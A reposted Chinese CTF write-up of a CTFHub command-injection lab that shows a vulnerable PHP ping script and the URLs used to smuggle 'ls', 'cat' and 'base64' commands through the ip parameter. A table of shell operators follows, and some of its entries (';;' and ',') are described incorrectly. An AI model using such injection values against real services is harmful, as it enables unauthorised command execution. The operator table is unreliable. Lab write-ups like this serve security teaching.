CTFHub | 命令注入

这篇具有很好参考价值的文章主要介绍了CTFHub | 命令注入。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

0x00 前言

        CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。

        

        

0x01 题目描述

命令注入:

        这是一个在线测试网络延迟的平台,路由器中经常会见到。无任何安全措施,尝试获取 flag 。

CTFHub | 命令注入
网页显示内容

        

        

0x02 解题过程

检查网页显示内容,可以直接看到源代码。大致意思是:检查用户输入的 GET 请求,判断用户是否输入了 ip 信息。如果输入了 ip 信息,则使用用户输入的这个 ip 数据执行一个 shell 命令 "ping -c 4"

CTFHub | 命令注入

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $cmd = "ping -c 4 {$_GET['ip']}";
    exec($cmd, $res);
}

?>

        

在输入框中搜索 127.0.0.1 执行一下看看,回显成功,可以正常执行。

CTFHub | 命令注入

        

在 url 中加上管道符进行测试,发现页面返回了两个网页的文件夹。

CTFHub | 命令注入

http://challenge-8d27f992c490a241.sandbox.ctfhub.com:10800/?ip=127.0.0.1|ls

        

直接访问带有数字的 php 文件,因为 index.php文件就是当前页面,可以直接排除。

CTFHub | 命令注入

http://challenge-8d27f992c490a241.sandbox.ctfhub.com:10800/?ip=127.0.0.1|cat 312721736210240.php

         

检查返回页面发现无回显,查看网页源代码发现此题 flag 。

CTFHub | 命令注入

        

        

0x03 Base64显示

        当然,在解题过程中检查页面回显时,发现无回显并不是因为管道符不正确。而是因为在网页中,浏览器会将文本内容解析为 HTML 代码,并根据 HTML 代码生成相应的网页。如果你的文本中包含特殊字符,浏览器就会将这些特殊字符解析为 HTML 标签,导致文本内容无法在网页中正常显示。那么这时候你可以通过以 base64 编码形式进行解析,浏览器会输出 base64 编码后的文本进行输出,不执行 HTML 解析,所以可以在网页中正常显示。

        

关于 base64 的解题方法:

再使用一个 | 管道符号,将多个命令串联起来执行,将网页以 base64 编码返回到用户端。

CTFHub | 命令注入

http://challenge-8d27f992c490a241.sandbox.ctfhub.com:10800/?ip=127.0.0.1|cat%20312721736210240.php|base64

        

使用 base64 解码工具对密文进行解密,发现此题 flag 。

CTFHub | 命令注入

        

        

0x04 管道符号

        管道符号是一个可以连接多个命令的特殊符号。在 Unix 和 Linux 系统命令行中经常使用,通常用于将一个命令的输出作为另一个命令的输入,从而实现多个命令的协同工作。

        

常见的管道符号:

符号 描述
| 将一个命令的输出作为另一个命令的输入。
|| 在一个命令失败时执行另一个命令。
; 在同一行中运行多个命令。
;; 在同一行中运行多个命令,但只有在前一个命令成功时才会运行后一个命令。
, 按顺序执行多个命令,但只返回最后一个命令的结果。
&& 在一个命令成功时执行另一个命令。
< 将一个文件的内容作为输入传递给一个命令。
> 将一个命令的输出重定向到一个文件中。
>> 将一个命令的输出追加到一个文件的末尾。

        

        

0x05 参考文献

[1].William Shotts. Learning the Shell[EB/OL]. [2023-06-14]. https://linuxcommand.org/lc3_learning_the_shell.php.

        

        

0x06 总结

文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。文章来源地址https://www.toymoban.com/news/detail-488818.html

到了这里,关于CTFHub | 命令注入的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 网络安全必学SQL注入

    SQL注入漏洞可以说是在企业运营中会遇到的最具破坏性的漏洞之一,它也是目前被利用得最多的漏洞。要学会如何防御SQL注入,首先我们要学习它的原理。 针对SQL注入的攻击行为可描述为通过在用户可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序时意料之外结果的攻

    2024年02月03日
    浏览(63)
  • 【网络安全】初探SQL注入漏洞

    要想玩SQL注入,一个简单的数据交互页面是需要的,故我们用PHP做一个简易网页,有登录、注册和首页三块内容。 登录需要输入账号密码,等待提交后进入系统; 注册需要输入名字,密码,手机号,照片,等待提交后进入系统; 首页需要利用PHP和数据库联动后的查询语句,

    2024年02月16日
    浏览(43)
  • 「 网络安全术语解读 」悬空标记注入详解

    引言:什么是悬空标记注入(Dangling markup injection)、典型利用原理是什么,以及如何防止悬空标记攻击? 悬空标记注入(Dangling markup injection)是一种技术,当由于输入过滤或其他防御措施而无法进行完全的跨站脚本攻击时,它可以用于捕获跨域数据。它可以被用来捕获其他

    2024年01月17日
    浏览(51)
  • 网络安全-初学SQL注入&基本概念

    SQL语句:解释SQL(Structured Query Language)是一种用于与关系型数据库进行交互的语言。SQL语句用于执行各种数据库操作,例如插入、更新、删除和查询数据。 用户输入与SQL查询的拼接:说明应用程序通常会接受用户的输入,并将其用作构建SQL查询语句的一部分。这种拼接用户

    2024年02月13日
    浏览(43)
  • 「网络安全」SQL注入攻击的真相

    点击此处即可获得282G网络安全学习资料 我们生活在数据的黄金时代。有些公司将其分析为更好的自己,有些公司为了获利而进行交易,没有一家公司因其价值而自由放弃 - 对于他们的业务和犯罪分子。 SQL(结构化查询语言)是一种非常流行的与数据库通信的方式。虽然许多

    2024年02月07日
    浏览(49)
  • 【网络安全】SQL注入漏洞的修复建议

    SQL注入是Web应用程序常见的安全漏洞之一,攻击者通过恶意构造的SQL查询语句,成功在应用程序的数据库中执行任意操作,导致数据泄露、篡改或其他安全问题。 本篇技术博客将详细介绍SQL注入漏洞的修复建议,包括过滤危险字符和使用预编译语句,通过具体的代码案例帮助

    2024年02月06日
    浏览(52)
  • 网络安全之SQL注入及防御(下篇)

    目录 什么是SQL注入? 一,SQL注入会导致什么呢? 二,SQL注入思想与步骤 三,SQL注入的绕过 四,sqlmap工具的使用  五,sql注入的防御方法 总结 什么是SQL注入? SQL注入(SQL Injection)是一种常见的网络攻击手段,是因为应用程序对用户输入的数据验证不到位造成的。攻击者在

    2024年04月28日
    浏览(41)
  • SQL注入 ❤ ~~~ 网络空间安全及计算机领域常见英语单词及短语——网络安全(二)

    就比如登录页面,输入用户名admin和密码123456,网页告诉服务器我的用户名和密码,服务器就会去问数据库,有没有这个用户名admin并且密码为123456的用户,服务器收到数据库的回答就回去告诉网页,有这个用户就登录成功,没有就登录失败。SQL注入就是在网页告诉服务器我的

    2024年02月13日
    浏览(47)
  • 网络安全B模块(笔记详解)- SQL注入

    1.使用渗透机场景kali中工具扫描服务器场景,将apache的端口号和版本号作为Flag提交(格式:端口号_版本号)  Flag:8081_7.5 2.使用渗透机场景windows7访问服务器场景SQL网站,并将网站中概述页面中的Flag提交; Flag:sql_is_good 3.使用渗透机场景windows7访问服务器中的SQL网站中的数

    2024年01月20日
    浏览(48)
  • [网络安全]sqlmap加密注入教程+实战详析

    在使用手工注入绕过参数加密的限制时,需要构造出原始POC再进行加密注入,耗时耗力,因此采用sqlmap加密注入。 在开始本文前,sqlmap基础知识及姿势可参考: [网络安全]以留言板项目渗透实例带你入门sqlmap 基本语法: * 表示只对该参数进行注入测试,不加 * 的话还会测试

    2024年02月07日
    浏览(57)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包